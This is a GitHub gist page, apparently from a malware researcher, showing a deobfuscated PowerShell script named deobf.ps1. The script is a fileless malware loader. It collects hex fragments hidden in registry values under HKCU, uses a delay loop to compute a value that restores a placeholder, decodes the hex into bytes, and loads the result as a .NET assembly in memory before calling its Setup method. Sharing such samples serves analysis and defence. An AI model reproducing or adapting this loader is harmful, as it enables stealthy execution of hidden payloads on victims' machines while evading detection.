Skip to content

Instantly share code, notes, and snippets.

@malwarezone

malwarezone/deobf.ps1 Secret

Last active Nov 27, 2020
Embed
What would you like to do?
<# rncrmnip #>
for ($i=0;$i -le 700;$i++){
$c="HKCU:\SOFTWARE\ewlwlgixuapvhb";
Try{$a=$a+(Get-ItemProperty -path $c).$i}Catch{}
};
function chba{
[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);
$Bytes = [byte[]]::new($hs.Length / 2);
for($i=0; $i -lt $hs.Length; $i+=2){
$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 16)
}
$Bytes
};
$i = 0;
While ($True){
$i++;
$ko = [math]::Sqrt($i);
if ($ko -eq 1000){ break}
}
[byte[]]$b = chba($a.replace("!@#",$ko));
[Reflection.Assembly]::Load($b);
[Mode]::Setup();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment